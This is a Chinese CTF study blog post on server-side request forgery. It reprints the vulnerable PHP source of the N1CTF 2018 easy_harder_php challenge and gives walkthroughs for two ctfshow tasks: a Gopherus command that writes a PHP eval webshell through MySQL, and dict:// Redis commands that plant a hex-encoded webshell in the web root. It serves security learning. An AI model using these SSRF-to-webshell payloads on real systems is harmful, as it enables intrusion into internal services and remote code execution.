[Web安全学习] SSRF漏洞分析

最新推荐文章于 2022-11-21 21:55:50 发布
最新推荐文章于 2022-11-21 21:55:50 发布
阅读量310 收藏
点赞数
分类专栏： 安全学习 文章标签： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_45834505/article/details/116119236
版权

文章目录

SSRF概述

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统）

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容，加载指定地址的图片，下载等等。利用的是服务端的请求伪造。ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器
在这里插入图片描述

考点

SoapClient反序列化SSRF

N1ctf2018 easy_harder_php

在这里插入图片描述
扫描发现在php文件后加上~就可以获得源码,即备份文件
index.php~

<?php

require_once 'user.php';
$C = new Customer();
if(isset($_GET['action']))
require_once 'views/'.$_GET['action'];
else
header('Location: index.php?action=login');

config.php~

<?php
header("Content-Type:text/html;charset=UTF-8");
date_default_timezone_set("PRC");

session_start();
class Db
{
    private  $servername = "localhost";
    private  $username = "Nu1L";
    private  $password = "Nu1Lpassword233334";
    private  $dbname = "nu1lctf";
    private  $conn;

    function __construct()
    {
        $this->conn = new mysqli($this->servername, $this->username, $this->password, $this->dbname);
    }

    function __destruct()
    {
        $this->conn->close();
    }

    private function get_column($columns){

        if(is_array($columns))
            $column = ' `'.implode('`,`',$columns).'` ';
        else
            $column = ' `'.$columns.'` ';

        return $column;
    }

    public function select($columns,$table,$where) {

        $column = $this->get_column($columns);

        $sql = 'select '.$column.' from '.$table.' where '.$where.';';
        $result = $this->conn->query($sql);

        return $result;

    }

    public function insert($columns,$table,$values){

        $column = $this->get_column($columns);
        $value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';
        $nid =
        $sql = 'insert into '.$table.'('.$column.') values '.$value;
        $result = $this->conn->query($sql);

        return $result;
    }

    public function delete($table,$where){

        $sql =  'delete from '.$table.' where '.$where;
        $result = $this->conn->query($sql);

        return $result;
    }

    public function update_single($table,$where,$column,$value){

        $sql = 'update '.$table.' set `'.$column.'` = \''.$value.'\' where '.$where;
        $result = $this->conn->query($sql);

        return $result;
    }




}

class Mood{

    public $mood, $ip, $date;

    public function __construct($mood, $ip) {
        $this->mood = $mood;
        $this->ip  = $ip;
        $this->date = time();

    }

    public function getcountry()
    {
        $ip = @file_get_contents("http://ip.taobao.com/service/getIpInfo.php?ip=".$this->ip);
        $ip = json_decode($ip,true);
        return $ip['data']['country'];
    }

    public function getsubtime()
    {
        $now_date = time();
        $sub_date = (int)$now_date - (int)$this->date;
        $days = (int)($sub_date/86400);
        $hours = (int)($sub_date%86400/3600);
        $minutes = (int)($sub_date%86400%3600/60);
        $res = ($days>0)?"$days days $hours hours $minutes minutes ago":(($hours>0)?"$hours hours $minutes minutes ago":"$minutes minutes ago");
        return $res;
    }

    
}

function get_ip(){
    return $_SERVER['REMOTE_ADDR'];
}

function upload($file){
    $file_size  = $file['size'];
    if($file_size>2*1024*1024) {
        echo "pic is too big!";
        return false;
    }
    $file_type = $file['type'];
    if($file_type!="image/jpeg" && $file_type!='image/pjpeg') {
        echo "file type invalid";
        return false;
    }
    if(is_uploaded_file($file['tmp_name'])) {
        $uploaded_file = $file['tmp_name'];
        $user_path =  "/app/adminpic";
        if (!file_exists($user_path)) {
            mkdir($user_path);
        }
        $file_true_name = str_replace('.','',pathinfo($file['name'])['filename']);
        $file_true_name = str_replace('/','',$file_true_name);
        $file_true_name = str_replace('\\','',$file_true_name);
        $file_true_name = $file_true_name.time().rand(1,100).'.jpg';
        $move_to_file = $user_path."/".$file_true_name;
        if(move_uploaded_file($uploaded_file,$move_to_file)) {
            if(stripos(file_get_contents($move_to_file),'<?php')>=0)
                system('sh /home/nu1lctf/clean_danger.sh');
            return $file_true_name;
        }
        else
            return false;
    }
    else
        return false;
}
function addslashes_deep($value)
{
    if (empty($value))
    {
        return $value;
    }
    else
    {
        return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
    }
}
function rand_s($length = 8)
{
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|';
    $password = '';
    for ( $i = 0; $i < $length; $i++ )
    {
        $password .= $chars[ mt_rand(0, strlen($chars) - 1) ];
    }
    return $password;
}

function addsla_all()
{
    if (!get_magic_quotes_gpc())
    {
        if (!empty($_GET))
        {
            $_GET  = addslashes_deep($_GET);
        }
        if (!empty($_POST))
        {
            $_POST = addslashes_deep($_POST);
        }
        $_COOKIE   = addslashes_deep($_COOKIE);
        $_REQUEST  = addslashes_deep($_REQUEST);
    }
}
addsla_all();

user.php~

<?php

require_once 'config.php';

class Customer{
    public $username, $userid, $is_admin, $allow_diff_ip;

    public function __construct()
    {
        $this->username = isset($_SESSION['username'])?$_SESSION['username']:'';
        $this->userid = isset($_SESSION['userid'])?$_SESSION['userid']:-1;
        $this->is_admin = isset($_SESSION['is_admin'])?$_SESSION['is_admin']:0;
        $this->get_allow_diff_ip();
    }

    public function check_login()
    {
        return isset($_SESSION['userid']);
    }

    public function check_username($username)
    {
        if(preg_match('/[^a-zA-Z0-9_]/is',$username) or strlen($username)<3 or strlen($username)>20)
            return false;
        else
            return true;
    }

    private function is_exists($username)
    {
        $db = new Db();
        @$ret = $db->select('username','ctf_users',"username='$username'");
        if($ret->fetch_row())
            return true;
        else
            return false;
    }

    public function get_allow_diff_ip()
    {
        if(!$this->check_login()) return 0;
        $db = new Db();
        @$ret = $db->select('allow_diff_ip','ctf_users','id='.$this->userid);
        if($ret) {

            $user = $ret->fetch_row();
            if($user)
            {
                $this->allow_diff_ip = (int)$user[0];
                return 1;
            }
            else
                return 0;

        }
    }

    function login()
    {
        if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['code'])) {
            if(substr(md5($_POST['code']),0, 5)!==$_SESSION['code'])
            {
                die("code erroar");
            }
            $username = $_POST['username'];
            $password = md5($_POST['password']);
            if(!$this->check_username($username))
                die('Invalid user name');
            $db = new Db();
            @$ret = $db->select(array('id','username','ip','is_admin','allow_diff_ip'),'ctf_users',"username = '$username' and password = '$password' limit 1");

            if($ret)
            {

                $user = $ret->fetch_row();
                if($user) {
                    if ($user[4] == '0' && $user[2] !== get_ip())
                        die("You can only login at the usual address");
                    if ($user[3] == '1')
                        $_SESSION['is_admin'] = 1;
                    else
                        $_SESSION['is_admin'] = 0;
                    $_SESSION['userid'] = $user[0];
                    $_SESSION['username'] = $user[1];
                    $this->username = $user[1];
                    $this->userid = $user[0];
                    return true;
                }
                else
                    return false;

            }
            else
            {
                return false;
            }

        }
        else
            return false;

    }

    function register()
    {
        if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['code'])) {
            if(substr(md5($_POST['code']),0, 5)!==$_SESSION['code'])
            {
                die("code error");
            }
            $username = $_POST['username'];
            $password = md5($_POST['password']);

            if(!$this->check_username($username))
                die('Invalid user name');
            if(!$this->is_exists($username)) {

                $db = new Db();

                @$ret = $db->insert(array('username','password','ip','is_admin','allow_diff_ip'),'ctf_users',array($username,$password,get_ip(),'0','1')); //No one could be admin except me
                if($ret)
                    return true;
                else
                    return false;

            }

            else {
                die("The username is not unique");
            }
        }
        else
        {
            return false;
        }
    }

    function publish()
    {
        if(!$this->check_login()) return false;
        if($this->is_admin == 0)
        {
            if(isset($_POST['signature']) && isset($_POST['mood'])) {

                $mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
                $db = new Db();
                @$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
                if($ret)
                    return true;
                else
                    return false;
            }
        }
        else
        {
                if(isset($_FILES['pic'])) {
                    if (upload($_FILES['pic'])){
                        echo 'upload ok!';
                        return true;
                    }
                    else {
                        echo "upload file error";
                        return false;
                    }
                }
                else
                    return false;


        }

    }

    function showmess()
    {
        if(!$this->check_login()) return false;
        if($this->is_admin == 0)
        {
            //id,sig,mood,ip,country,subtime
            $db = new Db();
            @$ret = $db->select(array('username','signature','mood','id'),'ctf_user_signature',"userid = $this->userid order by id desc");
            if($ret) {
                $data = array();
                while ($row = $ret->fetch_row()) {
                    $sig = $row[1];
                    $mood = unserialize($row[2]);
                    $country = $mood->getcountry();
                    $ip = $mood->ip;
                    $subtime = $mood->getsubtime();
                    $allmess = array('id'=>$row[3],'sig' => $sig, 'mood' => $mood, 'ip' => $ip, 'country' => $country, 'subtime' => $subtime);
                    array_push($data, $allmess);
                }
                $data = json_encode(array('code'=>0,'data'=>$data));
                return $data;
            }
            else
                return false;

        }
        else
        {
            $filenames = scandir('adminpic/');
            array_splice($filenames, 0, 2);
            return json_encode(array('code'=>1,'data'=>$filenames));

        }
    }

    function allow_diff_ip_option()
    {
        if(!$this->check_login()) return false;
        if($this->is_admin == 0)
        {
            if(isset($_POST['adio'])){
                $db = new Db();
                @$ret = $db->update_single('ctf_users',"id = $this->userid",'allow_diff_ip',(int)$_POST['adio']);
                if($ret)
                    return true;
                else
                    return false;
            }
        }
        else
            echo 'admin can\'t change this option';
            return false;
    }

    function deletemess()
    {
        if(!$this->check_login()) return false;
        if(isset($_GET['delid'])) {
            $delid = (int)$_GET['delid'];
            $db = new Db;
            @$ret = $db->delete('ctf_user_signature', "userid = $this->userid and id = '$delid'");
            if($ret)
                return true;
            else
                return false;
        }
        else
            return false;
    }

}

开始审计
看到index.php存在路径phprequire_once 'views/'.$_GET['action'];，访问views/可以获得剩下的源码

在这里插入图片描述
在user.php~中可以看到要求为admin才可以登录进行上传操作，因此需要寻找admin密码的注入点

参考文章：https://delcoding.github.io/2018/03/n1ctf-easy-harder-php1/

ctfshow

web359 打无密码的mysql

工具下载地址 https://github.com/tarunkant/Gopherus
使用python，使用方法在-help中写的很清楚

python gopherus.py --exploit mysql
root
select "<?php @eval($_POST[a]);?>" into outfile "/var/www/html/1.php";

关键在login 的returl，因为没有回显所以写入shell
在这里插入图片描述
在这里插入图片描述
注意将gopher得到的回显下划线后面的内容url编码，即可成功写马，蚁剑连接可以得到flag

在这里插入图片描述

web360 打redis

除了使用gopher外尝试手打
首先用dict协议探测一下是否在6379端口

url=dict://127.0.0.1:6379

发现存在，下一步设置本地存放dir

url=dict://127.0.0.1:6379/config:set:dir:/var/www/html

然后写马<?php eval($_POST[a])?>，一般用十六进制可以绕过常规限制

url=dict://127.0.0.1:6379/set:shell:"\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x61\x5d\x29\x3b\x3f\x3e"

设置文件名

url=dict://127.0.0.1:6379/set:dbfilename:Ev1near.php

最后保存，即可成功写马

url=dict://127.0.0.1:6379/save
Y1seco
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
服务端请求伪造 (SSRF)：利用漏洞实现攻击的风险和防范方法
weixin_43263566的博客
02-06 798
服务端请求伪造-SSRF
面试SSRF的原理、危害、防范、绕过（1）
m0_52556798的博客
03-18 1390
这篇总结还是比较偏理论了，都比较基础，但是的话，不管笔试还是面试hr都会有可能问道，比如SSRF和CSRF中英文全称，我小厂笔试遇到了。 等我总结完常见top10的理论，后面会通过实战挖洞的经历，不管挖到没挖到都会进行思路的复盘 什么是ssrf？ SSRF(Server-Side Request Forgery:服务器端请求伪造) 其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制 导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请
[N1CTF 2018]easy_harder_php soap_ssrf
a3320315的博客
01-26 2038
0x01 题目介绍 扫描目录得到源码 function publish() { if(!$this->check_login()) return false; if($this->is_admin == 0) { if(isset($_POST['signature']) && i...
SSRF初认识
weixin_52501704的博客
11-21 1893
SSRF也就是服务端请求伪造，是指攻击者向服务端发送包含恶意URI链接的请求，借由服务端去访问此URI，以获取保护网络资源的安全漏洞，是常见的web安全漏洞的一种
2018 n1ctf easy_hard_php 攻击流程图
lylong0703的博客
09-09 186
2018 n1ctf easy_hard_php 攻击流程图 sqli , clrf , ssrf 流程图 if have any error please figer out ,thank you very much! (my win10’s input method is down suddenly) i’m a beginner of Cyberspace Security.
104-web漏洞挖掘之SSRF漏洞1
08-03
总的来说，SSRF漏洞的防范和检测是一个持续的过程，需要开发者在设计和实现网络服务时充分考虑安全因素，对用户输入进行严格的校验和限制。同时，定期的安全审计和漏洞扫描也是确保系统安全的重要环节。
WebLogic SSRF 及漏洞修复
11-25
SSRF漏洞对Web应用的安全性构成了严重威胁，尤其是在像WebLogic这样的大型企业级应用中。通过对CVE-2014-4210漏洞的详细分析，我们了解到了SSRF攻击的具体机制以及如何对其进行有效的防范。对于类似的安全漏洞，最...
第29天：WEB漏洞-CSRF及SSRF漏洞案例讲解1
08-03
1、当用户发送重要的请求时需要输入原始密码 3、检验 referer 来源，请求时判断请求链接是否为当前管理员正在使用的页面（管理员在编辑文章， 4、设置验证码
【技术分享】SSRF漏洞学习 .pdf
09-05
【SSRF漏洞详解】 SSRF（Server-Side Request ...综上，了解并防范SSRF漏洞对于维护企业安全至关重要。通过理解SSRF的工作原理、常见利用方式以及防御措施，可以有效地降低此类漏洞带来的风险，保护内部网络免受攻击。
31-浅谈SSRF漏洞1
08-03
总的来说，理解SSRF漏洞的原理、风险和防范措施对于维护网络安全至关重要。企业应重视内网安全，避免因为忽视内网防护而造成严重后果。同时，定期进行安全审计和更新防护策略，也是防止此类攻击的有效手段。
ssrf漏洞 php,DokuWiki fetch.php SSRF漏洞与tok安全验证绕过分析
weixin_39673051的博客
03-19 662
作者：baolongniu of Tencent Security Platform Department关于DokuWikiDokuWiki是一个开源wiki引擎程序，运行于PHP环境下。DokuWiki程序小巧而功能强大、灵活，适合中小团队和个人网站知识库的管理。漏洞简介DokuWiki最新 2016-06-26a版本存在一个SSRF漏洞，当DokuWiki fetch.php允许下载外部资源...
n1 php,从N1CTF easy_php学到的几个骚操作
weixin_34337134的博客
03-12 338
认真的拜读了师傅们关于N1CTF的各种writeup，收获了不少骚操作，记录下以备查找。反序列化点SoapClient php自带类的利用#使用的是SoapClient这个php自带类# 当反序列化出来的对象调用不存在的函数是，就会调用__call方法，向外发送请求$a = new SoapClient(null, array('location'=> "xxx.xxx.xxx.xxx:80...
BMZCTF-n1ctf/hard_php 88
qq_53460654的博客
09-22 130
打开环境得到登录框 直接扫一下 访问一下 config.php~ <?php header("Content-Type:text/html;charset=UTF-8"); date_default_timezone_set("PRC"); session_start(); class Db { private $servername = "localhost"; private $username = "Nu1L"; private $password = "N
BMZCTF n1ctf/hard_php
qq_26243045的博客
11-29 394
考点：文件包含 打开页面，是一个登录框，带有验证码。 进行目录扫描： 发现index.php~，进行访问： 可以看到源码 Action参数可以访问文件，试用../../../../etc/passwd看能不能穿越目录访问： 看到可以访问，再试试../../../../flag 得到了flag ...
从N1CTF easy_php学到的几个骚操作
Sp4rkW的博客
03-19 4654
认真的拜读了师傅们关于N1CTF的各种writeup，收获了不少骚操作，记录下以备查找。 反序列化点SoapClient php自带类的利用 #使用的是SoapClient这个php自带类 # 当反序列化出来的对象调用不存在的函数是，就会调用__call方法，向外发送请求 $a = new SoapClient(null, array( 'location'=&amp;...
ctfshow web入门ssrf359,360
xiaolong22333的博客
02-06 858
记录一下做法，原理啥的还有点懵 web359 打开是登录框，先随便输点什么，然后抓包 发现有个returl参数，并且可以随意更改url，这应该就是我们的利用点了 然后就是gopher协议打mysql,这里用到这个工具gopherus python gopherus.py --exploit mysql 生成一句话木马 select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/2.php'; 记得把_后面那一大段内
SSRF漏洞挖掘的思路与技巧
weixin_34015566的博客
01-18 825
前几天360冰刃实验室的研究员洪祯皓发现了一个Hyper-V的漏洞，由于漏洞危险级别高，影响范围广，微软在确认漏洞细节后第一时间确认奖金并致谢漏洞发现者。 奖金总额高达20万美元约合人民币137万，这也是微软史上送出的最高一笔漏洞挖掘奖励。、 挖漏洞还能拿这么多钱，白帽子们已然坐不住，都想跃跃欲试了，那么今天i春秋与大家分享一篇关于SSR...
YZMCMS V5.3后台 SSRF
weixin_30340819的博客
07-15 752
当改变命运的时刻降临，犹豫就会败北。 前言 此前在测试过程中遇到过此CMS，久攻不下，于是便尝试代码审计，不得不说这套CMS还是挺安全的，读起来也简单，也适合初学代码审计的同学去阅读，不过漏洞真的不多，本人绞尽脑汁终于算是审计出一个弱鸡漏洞。 　　　　　　　　　　　　　　　　　　 漏洞分析 漏洞位于 application\collection\controller\colle...
ssrf漏洞内网渗透_ssrf漏洞分析
最新发布
06-06
SSRF (Server-Side Request Forgery) 漏洞是一种常见的 Web 安全漏洞，攻击者通过构造恶意的请求，从而使服务器发起非预期的请求，可能导致敏感信息泄露、服务器受到攻击等后果。 在内网渗透中，SSRF 漏洞可以用来发起内网扫描、访问内部系统等攻击。通常情况下，攻击者会构造恶意请求，将目标网站的请求地址改为内部 IP 或者域名，从而让服务器发起请求，从而得到内部系统的信息。 下面是一个简单的 SSRF 漏洞利用的步骤： 1. 扫描目标网站：使用端口扫描工具扫描目标网站开放的端口，确定是否存在可利用的服务。 2. 构造恶意请求：构造一个包含内网地址的恶意请求，将请求地址改为内网地址。 3. 触发漏洞：将恶意请求发送给目标网站，从而触发 SSRF 漏洞。 4. 收集信息：利用 SSRF 漏洞，收集内部系统的信息，如端口、服务、操作系统等。 5. 利用漏洞：根据收集到的信息，选择合适的漏洞利用方式，从而取得系统权限。 在实际攻击中，攻击者还可能会采用其他方式来利用 SSRF 漏洞，如访问内部 Web 应用、获取敏感文件等。因此，网站开发人员需要注意防范 SSRF 漏洞，如过滤用户输入、限制请求地址等。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Y1seco

我们都在慢慢进步

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值